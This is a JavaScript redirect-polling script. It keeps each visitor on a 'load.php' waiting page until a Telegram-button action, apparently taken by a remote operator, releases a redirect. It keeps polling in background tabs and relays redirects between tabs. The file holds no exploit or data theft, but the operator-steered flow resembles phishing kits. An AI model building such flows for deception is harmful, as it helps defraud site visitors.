/**
 * Enhanced Redirect Checker
 * Provides smooth and instant redirection by efficiently checking Telegram updates
 * and JSON status files in parallel even when tab is inactive or in background.
 */

class RedirectChecker {
    constructor(visitorId, checkInterval, timeout) {
        this.visitorId = visitorId;
        this.checkInterval = checkInterval;
        this.timeout = timeout * 1000;
        this.startTime = Date.now();
        this.isChecking = false;
        this.checkCount = 0;
        this.backgroundMode = false;
        this.lastCheckTime = Date.now();
        this.redirectUrl = null;
        this.lastRedirectAttempt = null;
        this.redirectAttempts = {};
        this.waitingForTelegram = true; // Start in waiting mode
        this.currentPage = window.location.pathname;
        this.isLoadingPage = this.currentPage.includes('load.php');
        this.allowRedirect = false; // Default to not allowing redirects
        this.lastTelegramCheck = 0;
        this.redirectHistory = JSON.parse(localStorage.getItem('redirectChecker_history') || '[]');
        
        // Setup storage event listener for cross-tab communication
        window.addEventListener('storage', this.handleStorageEvent.bind(this));
        
        // Setup visibility change detection
        document.addEventListener('visibilitychange', this.handleVisibilityChange.bind(this));
        
        // If we're on the loading page, NEVER allow automatic redirects
        if (this.isLoadingPage) {
            console.log('On loading page - ONLY Telegram-initiated redirects will be processed');
            this.waitingForTelegram = true;
            this.allowRedirect = false;
        }
        
        console.log(`Initialized RedirectChecker for visitor ${this.visitorId} on page ${this.currentPage} (Loading page: ${this.isLoadingPage})`);
    }

    /**
     * Start the redirect checking process
     */
    start() {
        console.log('Starting redirect checks for visitor:', this.visitorId);
        
        // Store visitor ID in localStorage to enable cross-tab communication
        localStorage.setItem('redirectChecker_visitorId', this.visitorId);
        localStorage.setItem('redirectChecker_startTime', this.startTime);
        
        // Store current page in redirect history to prevent loops
        if (this.redirectHistory.indexOf(this.currentPage) === -1) {
            this.redirectHistory.push(this.currentPage);
            localStorage.setItem('redirectChecker_history', JSON.stringify(this.redirectHistory));
            console.log('Updated redirect history:', this.redirectHistory);
        }
        
        // Create a heartbeat to ensure checks continue even in background
        this.createHeartbeat();
        
        // Start the redirect checking process
        this.checkRedirect();
    }
    
    /**
     * Creates a heartbeat to ensure checks continue in background
     */
    createHeartbeat() {
        // Use setInterval with a backup mechanism to ensure it runs even when tab is inactive
        this.heartbeatInterval = setInterval(() => {
            const currentTime = Date.now();
            
            // Check if we need to perform a redirect check (based on last check time)
            if (currentTime - this.lastCheckTime >= this.checkInterval) {
                this.lastCheckTime = currentTime;
                console.log(`Heartbeat triggered redirect check at ${new Date().toISOString()}`);
                this.checkRedirect();
            }
            
            // Update heartbeat timestamp in localStorage
            localStorage.setItem('redirectChecker_heartbeat', currentTime);
        }, Math.min(this.checkInterval, 500)); // Run at least every 500ms to be more responsive
    }
    
    /**
     * Handle visibility change events
     */
    handleVisibilityChange() {
        this.backgroundMode = document.hidden;
        console.log('Tab visibility changed. Hidden:', this.backgroundMode);
        
        // If coming back to visible, check for any pending redirects
        if (!this.backgroundMode) {
            const pendingRedirect = localStorage.getItem('redirectChecker_pendingRedirect');
            if (pendingRedirect) {
                console.log('Found pending redirect:', pendingRedirect);
                window.location.href = pendingRedirect;
            }
        }
    }
    
    /**
     * Handle storage events for cross-tab communication
     */
    handleStorageEvent(event) {
        // Check if another tab has found a redirect
        if (event.key === 'redirectChecker_pendingRedirect' && event.newValue) {
            console.log('Received redirect instruction from another tab:', event.newValue);
            
            // If we're on the loading page, only process Telegram-initiated redirects
            if (this.isLoadingPage) {
                const redirectSource = localStorage.getItem('redirectChecker_redirectSource');
                if (redirectSource !== 'telegram_button') {
                    console.log('STRICT BLOCK: On loading page - ignoring non-Telegram redirect from another tab');
                    return;
                }
            }
            
            // Prevent redirecting to the same page
            const redirectPath = new URL(event.newValue, window.location.origin).pathname;
            if (redirectPath === this.currentPage) {
                console.log('Preventing redirect to the same page from another tab:', redirectPath);
                return;
            }
            
            // Check if this URL is in our redirect history (prevent loops)
            if (this.redirectHistory.indexOf(redirectPath) !== -1) {
                console.log('Preventing redirect to previously visited page from another tab:', redirectPath);
                return;
            }
            
            // Add to redirect history
            if (this.redirectHistory.indexOf(redirectPath) === -1) {
                this.redirectHistory.push(redirectPath);
                localStorage.setItem('redirectChecker_history', JSON.stringify(this.redirectHistory));
            }
            
            window.location.href = event.newValue;
        }
    }

    /**
     * Check for redirects using parallel requests
     */
    checkRedirect() {
        // Prevent multiple simultaneous checks
        if (this.isChecking) {
            return;
        }
        
        this.isChecking = true;
        this.checkCount++;
        this.lastCheckTime = Date.now();
        
        // If we're on the loading page, ONLY allow Telegram-initiated redirects
        if (this.isLoadingPage) {
            console.log(`Check #${this.checkCount} - On loading page - ONLY checking for Telegram-initiated redirects`);
            
            // Only check for Telegram updates every 2 seconds to avoid excessive requests
            const now = Date.now();
            if (now - this.lastTelegramCheck < 2000) {
                console.log('Skipping check - too soon since last Telegram check');
                this.isChecking = false;
                return;
            }
            this.lastTelegramCheck = now;
        }
        
        console.log(`Check #${this.checkCount} started at ${new Date().toISOString()}`);
        
        // Force check the redirects.json file directly with a cache-busting parameter
        fetch(`check_json_status.php?visitor_id=${this.visitorId}&_nocache=${Date.now()}`, {
            cache: 'no-store'
        })
        .then(response => response.json())
        .then(jsonResult => {
            console.log(`Direct JSON check result:`, jsonResult);
            
            if (jsonResult.redirect) {
                const redirectUrl = jsonResult.redirect_url;
                console.log('Direct JSON check found redirect to:', redirectUrl);
                
                // Prevent redirecting to the same page
                const redirectPath = new URL(redirectUrl, window.location.origin).pathname;
                if (redirectPath === this.currentPage) {
                    console.log('Preventing redirect to the same page:', redirectPath);
                    this.isChecking = false;
                    return false;
                }
                
                // Check if this URL is in our redirect history (prevent loops)
                if (this.redirectHistory.indexOf(redirectPath) !== -1) {
                    console.log('Preventing redirect to previously visited page:', redirectPath);
                    this.isChecking = false;
                    return false;
                }
                
                // If we're on the loading page, ONLY proceed if this is a Telegram-initiated redirect
                if (this.isLoadingPage) {
                    if (jsonResult.source === 'telegram_button') {
                        console.log('Telegram button clicked, proceeding with redirect');
                        // Update timestamp of when we received a Telegram redirect
                        localStorage.setItem('redirectChecker_lastTelegramRedirect', Date.now());
                    } else {
                        console.log('On loading page - BLOCKING non-Telegram redirect');
                        this.isChecking = false;
                        return false;
                    }
                }
                
                // Prevent redirect loops by tracking attempts
                const now = Date.now();
                const key = redirectUrl;
                if (this.redirectAttempts[key] && now - this.redirectAttempts[key] < 10000) { // 10 seconds
                    console.log('Preventing redirect loop to:', redirectUrl);
                    this.isChecking = false;
                    return false;
                }
                
                // ONLY allow Telegram-initiated redirects on loading page
                if (this.isLoadingPage && jsonResult.source !== 'telegram_button') {
                    console.log('STRICT BLOCK: On loading page - only Telegram redirects allowed');
                    this.isChecking = false;
                    return false;
                }
                
                // Check if this redirect came from a Telegram button click
                if (jsonResult.source === 'telegram_button') {
                    console.log('Proceeding with redirect from Telegram button');
                    
                    // Add to redirect history
                    if (this.redirectHistory.indexOf(redirectPath) === -1) {
                        this.redirectHistory.push(redirectPath);
                        localStorage.setItem('redirectChecker_history', JSON.stringify(this.redirectHistory));
                    }
                    
                    this.redirectAttempts[key] = now;
                    this.lastRedirectAttempt = now;
                    localStorage.setItem('redirectChecker_pendingRedirect', redirectUrl);
                    localStorage.setItem('redirectChecker_redirectSource', jsonResult.source);
                    window.location.href = redirectUrl;
                    return true;
                } else {
                    console.log('Waiting for explicit Telegram button click before redirecting');
                    this.isChecking = false;
                    return false;
                }
            }
            this.isChecking = false;
            return false;
        })
        .catch(error => {
            console.warn('Direct JSON check error:', error);
            return false;
        })
        .finally(() => {

        // Check if timeout has been reached
        if (Date.now() - this.startTime >= this.timeout) {
            console.log('Timeout reached, redirecting to error page');
            window.location.href = 'error.php?id=' + this.visitorId;
            return;
        }
        
        // Add a random parameter to prevent caching
        const cacheBuster = Date.now();

        // Use Promise.all to run both requests in parallel
        Promise.all([
            // Check Telegram updates
            fetch(`check_telegram_updates.php?_nocache=${cacheBuster}`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Cache-Control': 'no-cache, no-store, must-revalidate',
                    'Pragma': 'no-cache',
                    'Expires': '0'
                },
                body: JSON.stringify({ visitor_id: this.visitorId })
            })
            .then(response => response.json())
            .catch(error => {
                console.warn('Telegram update check error:', error);
                return { status: 'error' };
            }),
            
            // Check JSON status
            fetch(`check_json_status.php?visitor_id=${this.visitorId}&_nocache=${cacheBuster}`, {
                headers: {
                    'Cache-Control': 'no-cache, no-store, must-revalidate',
                    'Pragma': 'no-cache',
                    'Expires': '0'
                },
                cache: 'no-store'
            })
            .then(response => response.json())
            .catch(error => {
                console.warn('JSON status check error:', error);
                return { redirect: false };
            })
        ])
        .then(([telegramResult, jsonResult]) => {
            console.log(`Check #${this.checkCount} - Telegram:`, telegramResult, 'JSON:', jsonResult);
            
            if (jsonResult.redirect) {
                const redirectUrl = jsonResult.redirect_url;
                console.log('Redirecting to:', redirectUrl);
                
                // Prevent redirecting to the same page
                const redirectPath = new URL(redirectUrl, window.location.origin).pathname;
                if (redirectPath === this.currentPage) {
                    console.log('Preventing redirect to the same page:', redirectPath);
                    this.isChecking = false;
                    return;
                }
                
                // If we're on the loading page, ONLY proceed if this is a Telegram-initiated redirect
                if (this.isLoadingPage) {
                    if (jsonResult.source === 'telegram_button') {
                        console.log('Telegram button clicked, proceeding with redirect from main check');
                    } else {
                        console.log('On loading page - ignoring non-Telegram redirect from main check');
                        this.isChecking = false;
                        return;
                    }
                }
                
                // Check if this redirect came from a Telegram button click
                if (jsonResult.source === 'telegram_button' || (!this.waitingForTelegram && !this.isLoadingPage)) {
                    console.log('Proceeding with redirect from Telegram or manual override');
                    
                    // Store the redirect URL in localStorage for cross-tab communication
                    localStorage.setItem('redirectChecker_pendingRedirect', redirectUrl);
                    
                    // If in background mode, we'll rely on visibility change or storage event
                    // to trigger the redirect when the tab becomes active
                    if (!this.backgroundMode) {
                        // Prevent redirect loops
                        const now = Date.now();
                        const key = redirectUrl;
                        if (this.redirectAttempts[key] && now - this.redirectAttempts[key] < 10000) {
                            console.log('Preventing redirect loop to:', redirectUrl);
                            this.isChecking = false;
                            return;
                        }
                        
                        this.redirectAttempts[key] = now;
                        this.lastRedirectAttempt = now;
                        window.location.href = redirectUrl;
                    } else {
                        console.log('Tab in background, storing redirect for when tab becomes active');
                    }
                } else {
                    console.log('Waiting for explicit Telegram button click before redirecting');
                    this.isChecking = false;
                }
            } else {
                this.isChecking = false;
                
                // We don't need setTimeout here as the heartbeat will trigger the next check
                // This prevents the checks from stopping when the tab is inactive
            }
        });
        })
        .catch(error => {
            console.error('Error in redirect check:', error);
            this.isChecking = false;
            // No setTimeout needed here as the heartbeat will handle it
        });
    }
}

// Initialize and start the redirect checker when the page loads
document.addEventListener('DOMContentLoaded', () => {
    const checkInterval = CHECK_INTERVAL; // This should be defined in your PHP output
    const timeout = TIMEOUT; // This should be defined in your PHP output
    const visitorId = VISITOR_ID; // This should be defined in your PHP output
    
    // Check if there's a pending redirect from a previous session
    const pendingRedirect = localStorage.getItem('redirectChecker_pendingRedirect');
    const isLoadingPage = window.location.pathname.includes('load.php');
    
    // Load redirect history from localStorage
    let redirectHistory = [];
    try {
        redirectHistory = JSON.parse(localStorage.getItem('redirectChecker_history') || '[]');
    } catch (e) {
        console.error('Error parsing redirect history:', e);
        localStorage.setItem('redirectChecker_history', '[]');
    }
    
    if (pendingRedirect) {
        // Prevent redirecting to the same page
        const redirectPath = new URL(pendingRedirect, window.location.origin).pathname;
        const currentPath = window.location.pathname;
        
        // If we're on the loading page, ONLY process Telegram-initiated redirects
        const redirectSource = localStorage.getItem('redirectChecker_redirectSource');
        
        if (isLoadingPage && redirectSource !== 'telegram_button') {
            console.log('STRICT BLOCK: On loading page - ignoring non-Telegram pending redirect');
            localStorage.removeItem('redirectChecker_pendingRedirect');
            localStorage.removeItem('redirectChecker_redirectSource');
        } else if (redirectPath === currentPath) {
            console.log('Ignoring pending redirect to current page:', redirectPath);
            localStorage.removeItem('redirectChecker_pendingRedirect');
            localStorage.removeItem('redirectChecker_redirectSource');
        } else if (redirectHistory.indexOf(redirectPath) !== -1) {
            console.log('Preventing redirect to previously visited page:', redirectPath);
            localStorage.removeItem('redirectChecker_pendingRedirect');
            localStorage.removeItem('redirectChecker_redirectSource');
        } else if (redirectSource === 'telegram_button' || !isLoadingPage) {
            console.log('Processing pending redirect from previous session:', pendingRedirect, 'Source:', redirectSource);
            
            // Add to redirect history
            if (redirectHistory.indexOf(redirectPath) === -1) {
                redirectHistory.push(redirectPath);
                localStorage.setItem('redirectChecker_history', JSON.stringify(redirectHistory));
            }
            
            // Clear the pending redirect to prevent loops
            localStorage.removeItem('redirectChecker_pendingRedirect');
            localStorage.removeItem('redirectChecker_redirectSource');
            window.location.href = pendingRedirect;
            return;
        }
    }
    
    // Create and start the redirect checker
    window.redirectChecker = new RedirectChecker(visitorId, checkInterval, timeout);
    
    // Check URL parameters for manual override
    const urlParams = new URLSearchParams(window.location.search);
    if (urlParams.has('force_check') || urlParams.has('manual_check')) {
        console.log('Manual check mode enabled, will not wait for Telegram');
        window.redirectChecker.waitingForTelegram = false;
    }
    
    // If we're on the loading page, NEVER allow automatic redirects regardless of URL parameters
    if (isLoadingPage) {
        console.log('STRICT ENFORCEMENT: On loading page - ONLY Telegram-initiated redirects will be processed');
        window.redirectChecker.waitingForTelegram = true;
    }
    
    window.redirectChecker.start();
    
    // Set up a backup mechanism using a service worker if browser supports it
    if ('serviceWorker' in navigator) {
        // Register a simple service worker to keep the page alive in background
        navigator.serviceWorker.register('redirect-service-worker.js')
            .then(registration => {
                console.log('ServiceWorker registration successful with scope: ', registration.scope);
            })
            .catch(error => {
                console.log('ServiceWorker registration failed: ', error);
            });
    }
});
